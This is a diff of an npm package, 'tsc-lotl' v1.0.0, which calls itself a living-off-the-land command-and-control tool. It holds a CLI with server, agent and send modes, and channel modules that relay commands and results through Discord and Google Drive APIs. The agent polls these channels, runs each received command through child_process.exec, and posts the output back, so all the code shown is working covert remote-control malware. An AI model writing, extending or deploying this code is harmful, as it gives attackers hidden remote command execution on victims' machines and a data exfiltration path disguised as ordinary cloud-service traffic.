tsc-lotl 1.0.0

package/bin/tsc-lotl.js

@@ -0,0 +1,226 @@
+#!/usr/bin/env node
+
+const minimist = require('minimist');
+const path = require('path');
+const fs = require('fs');
+const LotlC2 = require('../src/lotl-c2');
+
+const argv = minimist(process.argv.slice(2));
+const cmd = argv._[0];
+
+function showHelp() {
+  console.log(`
+tsc-lotl — Living-off-the-Land C2 Tool  v1.0.0
+
+Usage:
+  tsc-lotl server --config <path>          Start C2 server listening on all channels
+  tsc-lotl agent --config <path> --id <id>  Start agent polling all channels
+  tsc-lotl send --channel <ch> --agent <id> --cmd <cmd>  Send a single command
+  tsc-lotl config init                      Generate a blank config template
+  tsc-lotl channels                          List all available channels with status
+  tsc-lotl help                              Show this help message
+
+Channels: gdrive, github, notion, slack, discord
+`);
+}
+
+function generateConfig() {
+  const template = {
+    encryptionKey: 'CHANGE_ME_TO_A_32_CHAR_KEY____',
+    channelPriority: ['gdrive', 'github', 'notion', 'slack', 'discord'],
+    channels: {
+      gdrive: {
+        accessToken: 'YOUR_GOOGLE_DRIVE_ACCESS_TOKEN',
+        folderName: '.tsc_lotl_c2'
+      },
+      github: {
+        token: 'YOUR_GITHUB_PERSONAL_ACCESS_TOKEN',
+        gistPrefix: 'tsc-lotl-cmd-'
+      },
+      notion: {
+        apiKey: 'YOUR_NOTION_INTEGRATION_TOKEN',
+        databaseId: 'YOUR_NOTION_DATABASE_ID'
+      },
+      slack: {
+        webhookUrl: 'https://hooks.slack.com/services/YOUR/WEBHOOK/URL',
+        token: 'YOUR_SLACK_BOT_TOKEN',
+        channelId: 'YOUR_SLACK_CHANNEL_ID'
+      },
+      discord: {
+        webhookId: 'YOUR_DISCORD_WEBHOOK_ID',
+        webhookToken: 'YOUR_DISCORD_WEBHOOK_TOKEN',
+        botToken: 'YOUR_DISCORD_BOT_TOKEN',
+        channelId: 'YOUR_DISCORD_CHANNEL_ID'
+      }
+    }
+  };
+
+  const outPath = path.resolve('tsc-lotl-config.json');
+  fs.writeFileSync(outPath, JSON.stringify(template, null, 2));
+  console.log(`Config template written to: ${outPath}`);
+}
+
+async function listChannels(configPath) {
+  const c2 = new LotlC2(configPath);
+  console.log('\nChannel status:');
+  console.log('─'.repeat(40));
+  for (const ch of c2.channelPriority) {
+    if (c2.channels[ch]) {
+      process.stdout.write(`${ch} ... testing ...`);
+      const status = await c2.testChannel(ch);
+      process.stdout.clearLine();
+      process.stdout.cursorTo(0);
+      console.log(`${ch.padEnd(12)} ${status.status}`);
+    }
+  }
+}
+
+async function runServer(configPath) {
+  const c2 = new LotlC2(configPath);
+  console.log('[tsc-lotl] C2 Server started');
+  console.log(`[tsc-lotl] Channels: ${c2.channelPriority.filter(ch => c2.channels[ch]).join(', ')}`);
+  console.log('[tsc-lotl] Listening for agent commands...');
+
+  const activeChannels = c2.channelPriority.filter(ch => c2.channels[ch] && typeof c2.channels[ch].pollResults === 'function');
+
+  const pollInterval = setInterval(async () => {
+    for (const ch of activeChannels) {
+      const status = c2.channelStatus[ch];
+      const display = status === 'up' ? '✓' : status === 'down' ? '✗' : '?';
+      process.stdout.write(`\r[${display}] ${ch} — polling for results...   \n`);
+    }
+
+    const allResults = await c2.pollAllResults();
+    for (const item of allResults) {
+      const ts = item.timestamp ? new Date(item.timestamp).toLocaleTimeString() : '?';
+      console.log(`[${ts}] [${item.channel}] Result from ${item.agentId}:`);
+      console.log(`  ${item.result}`);
+    }
+  }, 30000);
+
+  process.on('SIGINT', () => {
+    clearInterval(pollInterval);
+    console.log('\n[tsc-lotl] Server shutting down');
+    process.exit(0);
+  });
+
+  // Keep alive
+  await new Promise(() => {});
+}
+
+async function runAgent(configPath, agentId) {
+  const c2 = new LotlC2(configPath);
+  console.log(`[tsc-lotl] Agent "${agentId}" started`);
+  console.log('[tsc-lotl] Polling all channels for commands...');
+
+  const activeChannels = c2.channelPriority.filter(ch => c2.channels[ch]);
+
+  const poll = async () => {
+    for (const ch of activeChannels) {
+      try {
+        const commands = await c2.pollCommands(ch, agentId);
+        for (const cmd of commands) {
+          console.log(`[${ch}] Received command: ${cmd.command}`);
+          try {
+            const execResult = await executeCommand(cmd.command);
+            console.log(`[${ch}] Result: ${execResult}`);
+            await c2.sendResult(ch, agentId, execResult);
+          } catch (execErr) {
+            console.error(`[${ch}] Command error: ${execErr.message}`);
+            await c2.sendResult(ch, agentId, `ERROR: ${execErr.message}`);
+          }
+        }
+      } catch (err) {
+        // channel unavailable
+      }
+    }
+  };
+
+  await poll();
+  setInterval(poll, 15000);
+
+  process.on('SIGINT', () => {
+    console.log('\n[tsc-lotl] Agent shutting down');
+    process.exit(0);
+  });
+}
+
+function executeCommand(cmd) {
+  return new Promise((resolve, reject) => {
+    const cp = require('child_process');
+    cp.exec(cmd, { timeout: 30000 }, (err, stdout, stderr) => {
+      if (err) {
+        reject(new Error(err.message + (stderr ? ': ' + stderr : '')));
+      } else {
+        resolve(stdout || '(no output)');
+      }
+    });
+  });
+}
+
+async function sendCommand(configPath, channel, agentId, command) {
+  const c2 = new LotlC2(configPath);
+  try {
+    const result = await c2.sendCommand(channel, agentId, command);
+    console.log(`Command sent via ${channel}: ${JSON.stringify(result)}`);
+  } catch (err) {
+    console.error(`Failed to send command: ${err.message}`);
+    process.exit(1);
+  }
+}
+
+async function main() {
+  switch (cmd) {
+    case 'server':
+      if (!argv.config) {
+        console.error('Error: --config is required');
+        process.exit(1);
+      }
+      await runServer(path.resolve(argv.config));
+      break;
+
+    case 'agent':
+      if (!argv.config || !argv.id) {
+        console.error('Error: --config and --id are required');
+        process.exit(1);
+      }
+      await runAgent(path.resolve(argv.config), argv.id);
+      break;
+
+    case 'send':
+      if (!argv.config || !argv.channel || !argv.agent || !argv.cmd) {
+        console.error('Error: --config, --channel, --agent, and --cmd are required');
+        process.exit(1);
+      }
+      await sendCommand(path.resolve(argv.config), argv.channel, argv.agent, argv.cmd);
+      break;
+
+    case 'config':
+      if (argv._[1] === 'init') {
+        generateConfig();
+      } else {
+        console.error('Usage: tsc-lotl config init');
+        process.exit(1);
+      }
+      break;
+
+    case 'channels':
+      if (!argv.config) {
+        console.error('Error: --config is required');
+        process.exit(1);
+      }
+      await listChannels(path.resolve(argv.config));
+      break;
+
+    case 'help':
+    case undefined:
+    default:
+      showHelp();
+      break;
+  }
+}
+
+main().catch(err => {
+  console.error(`Error: ${err.message}`);
+  process.exit(1);
+});

package/package.json

@@ -0,0 +1,14 @@
+{
+  "name": "tsc-lotl",
+  "version": "1.0.0",
+  "description": "Living-off-the-Land C2 — Google Drive, GitHub Gists, Notion, Slack",
+  "main": "src/lotl-c2.js",
+  "bin": {
+    "tsc-lotl": "bin/tsc-lotl.js"
+  },
+  "dependencies": {
+    "minimist": "1.2.8"
+  },
+  "author": "SURUJ404",
+  "license": "GPL-3.0"
+}

package/src/channels/discord.js

@@ -0,0 +1,164 @@
+const https = require('https');
+
+class Discord {
+  constructor(config) {
+    this.webhookId = config.webhookId;
+    this.webhookToken = config.webhookToken;
+    this.botToken = config.botToken;
+    this.channelId = config.channelId;
+    this.commandPrefix = '!c2';
+    this.apiBase = 'discord.com';
+    this._lastPollId = '0';
+  }
+
+  _request(opts, body) {
+    return new Promise((resolve, reject) => {
+      const req = https.request(opts, (res) => {
+        let data = '';
+        res.on('data', chunk => data += chunk);
+        res.on('end', () => {
+          try {
+            const parsed = JSON.parse(data);
+            if (res.statusCode >= 200 && res.statusCode < 300) {
+              resolve(parsed);
+            } else {
+              reject(new Error(`Discord API error ${res.statusCode}: ${JSON.stringify(parsed)}`));
+            }
+          } catch (e) {
+            reject(new Error(`Discord API error ${res.statusCode}: ${data}`));
+          }
+        });
+      });
+      req.on('error', reject);
+      if (body) req.write(typeof body === 'string' ? body : JSON.stringify(body));
+      req.end();
+    });
+  }
+
+  async sendCommand(agentId, b64Payload) {
+    const content = `${this.commandPrefix} ${agentId}: ${b64Payload}`;
+
+    if (this.webhookId && this.webhookToken) {
+      const result = await this._request({
+        hostname: this.apiBase,
+        path: `/api/webhooks/${this.webhookId}/${this.webhookToken}`,
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' }
+      }, { content });
+      return { id: result.id };
+    }
+
+    if (this.botToken && this.channelId) {
+      const result = await this._request({
+        hostname: this.apiBase,
+        path: `/api/channels/${this.channelId}/messages`,
+        method: 'POST',
+        headers: {
+          'Authorization': `Bot ${this.botToken}`,
+          'Content-Type': 'application/json'
+        }
+      }, { content });
+      return { id: result.id };
+    }
+
+    throw new Error('Discord: no webhook or bot token configured');
+  }
+
+  async pollCommands(agentId) {
+    if (!this.botToken || !this.channelId) {
+      throw new Error('Discord: botToken and channelId required for polling');
+    }
+
+    const messages = await this._request({
+      hostname: this.apiBase,
+      path: `/api/channels/${this.channelId}/messages?limit=50&after=${this._lastPollId}`,
+      method: 'GET',
+      headers: {
+        'Authorization': `Bot ${this.botToken}`
+      }
+    });
+
+    if (!Array.isArray(messages)) {
+      throw new Error('Discord: unexpected response format');
+    }
+
+    const commands = [];
+    const prefix = `${this.commandPrefix} ${agentId}:`;
+
+    for (const msg of messages) {
+      if (msg.content && msg.content.startsWith(prefix)) {
+        const b64Payload = msg.content.substring(prefix.length).trim();
+
+        commands.push({
+          id: msg.id,
+          agentId,
+          command: b64Payload,
+          timestamp: msg.timestamp
+        });
+      }
+    }
+
+    if (messages.length > 0) {
+      this._lastPollId = messages[0].id;
+    }
+
+    return commands;
+  }
+
+  async sendResult(agentId, b64Payload) {
+    const content = `${this.commandPrefix} result ${agentId}: ${b64Payload}`;
+
+    if (this.webhookId && this.webhookToken) {
+      const result = await this._request({
+        hostname: this.apiBase,
+        path: `/api/webhooks/${this.webhookId}/${this.webhookToken}`,
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' }
+      }, { content });
+      return { id: result.id };
+    }
+
+    if (this.botToken && this.channelId) {
+      const result = await this._request({
+        hostname: this.apiBase,
+        path: `/api/channels/${this.channelId}/messages`,
+        method: 'POST',
+        headers: {
+          'Authorization': `Bot ${this.botToken}`,
+          'Content-Type': 'application/json'
+        }
+      }, { content });
+      return { id: result.id };
+    }
+
+    throw new Error('Discord: no webhook or bot token configured');
+  }
+
+  async test() {
+    try {
+      if (this.webhookId && this.webhookToken) {
+        await this._request({
+          hostname: this.apiBase,
+          path: `/api/webhooks/${this.webhookId}/${this.webhookToken}`,
+          method: 'POST',
+          headers: { 'Content-Type': 'application/json' }
+        }, { content: 'tsc-lotl test' });
+        return true;
+      }
+      if (this.botToken) {
+        const result = await this._request({
+          hostname: this.apiBase,
+          path: '/api/users/@me',
+          method: 'GET',
+          headers: { 'Authorization': `Bot ${this.botToken}` }
+        });
+        return !!result.id;
+      }
+      return false;
+    } catch {
+      return false;
+    }
+  }
+}
+
+module.exports = Discord;

package/src/channels/gdrive.js

@@ -0,0 +1,272 @@
+const https = require('https');
+const crypto = require('crypto');
+
+class GDrive {
+  constructor(config) {
+    this.accessToken = config.accessToken;
+    this.serviceAccount = config.serviceAccount || null;
+    this.folderName = config.folderName || '.tsc_lotl_c2';
+    this.resultsFolderName = config.resultsFolderName || '.tsc_lotl_results';
+    this.folderId = null;
+    this.resultsFolderId = null;
+    this.apiBase = 'www.googleapis.com';
+  }
+
+  _request(method, path, body, token) {
+    return new Promise((resolve, reject) => {
+      const opts = {
+        hostname: this.apiBase,
+        path,
+        method,
+        headers: {
+          'Authorization': `Bearer ${token || this.accessToken}`,
+          'Content-Type': 'application/json'
+        }
+      };
+
+      const req = https.request(opts, (res) => {
+        let data = '';
+        res.on('data', chunk => data += chunk);
+        res.on('end', () => {
+          try {
+            const parsed = JSON.parse(data);
+            if (res.statusCode >= 200 && res.statusCode < 300) {
+              resolve(parsed);
+            } else {
+              reject(new Error(`GDrive API error ${res.statusCode}: ${JSON.stringify(parsed)}`));
+            }
+          } catch (e) {
+            if (res.statusCode >= 200 && res.statusCode < 300) {
+              resolve(data);
+            } else {
+              reject(new Error(`GDrive API error ${res.statusCode}: ${data}`));
+            }
+          }
+        });
+      });
+
+      req.on('error', reject);
+      if (body) req.write(JSON.stringify(body));
+      req.end();
+    });
+  }
+
+  async _ensureFolder(folderName, parentId) {
+    const query = encodeURIComponent(`name='${folderName}' and mimeType='application/vnd.google-apps.folder'${parentId ? ` and '${parentId}' in parents` : ''} and trashed=false`);
+    const search = await this._request('GET', `/drive/v3/files?q=${query}&fields=files(id,name)`, null);
+
+    if (search.files && search.files.length > 0) {
+      return search.files[0].id;
+    }
+
+    const meta = {
+      name: folderName,
+      mimeType: 'application/vnd.google-apps.folder'
+    };
+    if (parentId) meta.parents = [parentId];
+
+    const created = await this._request('POST', '/drive/v3/files?fields=id', meta);
+    return created.id;
+  }
+
+  async _getFolders() {
+    if (!this.folderId) {
+      this.folderId = await this._ensureFolder(this.folderName);
+    }
+    if (!this.resultsFolderId) {
+      this.resultsFolderId = await this._ensureFolder(this.resultsFolderName, this.folderId);
+    }
+    return { cmd: this.folderId, results: this.resultsFolderId };
+  }
+
+  async sendCommand(agentId, b64Payload) {
+    const folders = await this._getFolders();
+    const timestamp = Date.now();
+    const filename = `cmd_${agentId}_${timestamp}.json`;
+
+    const fileContent = JSON.stringify({
+      agentId,
+      command: b64Payload,
+      timestamp: new Date().toISOString()
+    });
+
+    const meta = {
+      name: filename,
+      parents: [folders.cmd],
+      mimeType: 'application/json'
+    };
+
+    const boundary = 'boundary' + crypto.randomBytes(8).toString('hex');
+    const body =
+      `--${boundary}\r\n` +
+      `Content-Type: application/json; charset=UTF-8\r\n\r\n` +
+      `${JSON.stringify(meta)}\r\n` +
+      `--${boundary}\r\n` +
+      `Content-Type: application/json\r\n\r\n` +
+      `${fileContent}\r\n` +
+      `--${boundary}--`;
+
+    return new Promise((resolve, reject) => {
+      const opts = {
+        hostname: this.apiBase,
+        path: '/upload/drive/v3/files?uploadType=multipart&fields=id,name',
+        method: 'POST',
+        headers: {
+          'Authorization': `Bearer ${this.accessToken}`,
+          'Content-Type': `multipart/related; boundary=${boundary}`,
+          'Content-Length': Buffer.byteLength(body)
+        }
+      };
+
+      const req = https.request(opts, (res) => {
+        let data = '';
+        res.on('data', chunk => data += chunk);
+        res.on('end', () => {
+          try {
+            const parsed = JSON.parse(data);
+            if (res.statusCode >= 200 && res.statusCode < 300) {
+              resolve(parsed);
+            } else {
+              reject(new Error(`GDrive upload error ${res.statusCode}: ${JSON.stringify(parsed)}`));
+            }
+          } catch (e) {
+            reject(new Error(`GDrive upload error: ${data}`));
+          }
+        });
+      });
+      req.on('error', reject);
+      req.write(body);
+      req.end();
+    });
+  }
+
+  async pollCommands(agentId) {
+    const folders = await this._getFolders();
+    const query = encodeURIComponent(`'${folders.cmd}' in parents and name contains 'cmd_${agentId}' and trashed=false`);
+    const list = await this._request('GET', `/drive/v3/files?q=${query}&fields=files(id,name)`, null);
+
+    if (!list.files || list.files.length === 0) return [];
+
+    const results = [];
+    for (const file of list.files) {
+      try {
+        const content = await this._request('GET', `/drive/v3/files/${file.id}?alt=media`, null);
+        const parsed = JSON.parse(content);
+        results.push({
+          id: file.id,
+          agentId: parsed.agentId,
+          command: parsed.command,
+          timestamp: parsed.timestamp,
+          fileId: file.id
+        });
+
+        await this._request('DELETE', `/drive/v3/files/${file.id}`, null);
+      } catch (e) {
+        // skip files that fail
+      }
+    }
+    return results;
+  }
+
+  async sendResult(agentId, b64Payload) {
+    const folders = await this._getFolders();
+    const timestamp = Date.now();
+    const filename = `result_${agentId}_${timestamp}.json`;
+
+    const fileContent = JSON.stringify({
+      agentId,
+      result: b64Payload,
+      timestamp: new Date().toISOString()
+    });
+
+    const meta = {
+      name: filename,
+      parents: [folders.results],
+      mimeType: 'application/json'
+    };
+
+    const boundary = 'boundary' + crypto.randomBytes(8).toString('hex');
+    const body =
+      `--${boundary}\r\n` +
+      `Content-Type: application/json; charset=UTF-8\r\n\r\n` +
+      `${JSON.stringify(meta)}\r\n` +
+      `--${boundary}\r\n` +
+      `Content-Type: application/json\r\n\r\n` +
+      `${fileContent}\r\n` +
+      `--${boundary}--`;
+
+    return new Promise((resolve, reject) => {
+      const opts = {
+        hostname: this.apiBase,
+        path: '/upload/drive/v3/files?uploadType=multipart&fields=id,name',
+        method: 'POST',
+        headers: {
+          'Authorization': `Bearer ${this.accessToken}`,
+          'Content-Type': `multipart/related; boundary=${boundary}`,
+          'Content-Length': Buffer.byteLength(body)
+        }
+      };
+
+      const req = https.request(opts, (res) => {
+        let data = '';
+        res.on('data', chunk => data += chunk);
+        res.on('end', () => {
+          try {
+            const parsed = JSON.parse(data);
+            if (res.statusCode >= 200 && res.statusCode < 300) {
+              resolve(parsed);
+            } else {
+              reject(new Error(`GDrive upload error ${res.statusCode}: ${JSON.stringify(parsed)}`));
+            }
+          } catch (e) {
+            reject(new Error(`GDrive upload error: ${data}`));
+          }
+        });
+      });
+      req.on('error', reject);
+      req.write(body);
+      req.end();
+    });
+  }
+
+  async pollResults(agentId) {
+    try {
+      const folders = await this._getFolders();
+      const query = encodeURIComponent(`'${folders.results}' in parents and trashed=false`);
+      const list = await this._request('GET', `/drive/v3/files?q=${query}&fields=files(id,name)`, null);
+
+      if (!list.files || list.files.length === 0) return [];
+
+      const results = [];
+      for (const file of list.files) {
+        try {
+          const content = await this._request('GET', `/drive/v3/files/${file.id}?alt=media`, null);
+          const parsed = JSON.parse(content);
+          results.push({
+            id: file.id,
+            agentId: parsed.agentId,
+            result: parsed.result,
+            timestamp: parsed.timestamp
+          });
+          await this._request('DELETE', `/drive/v3/files/${file.id}`, null);
+        } catch (e) {
+          // skip
+        }
+      }
+      return results;
+    } catch (e) {
+      return [];
+    }
+  }
+
+  async test() {
+    try {
+      await this._request('GET', '/drive/v3/about?fields=user', null);
+      return true;
+    } catch {
+      return false;
+    }
+  }
+}
+
+module.exports = GDrive;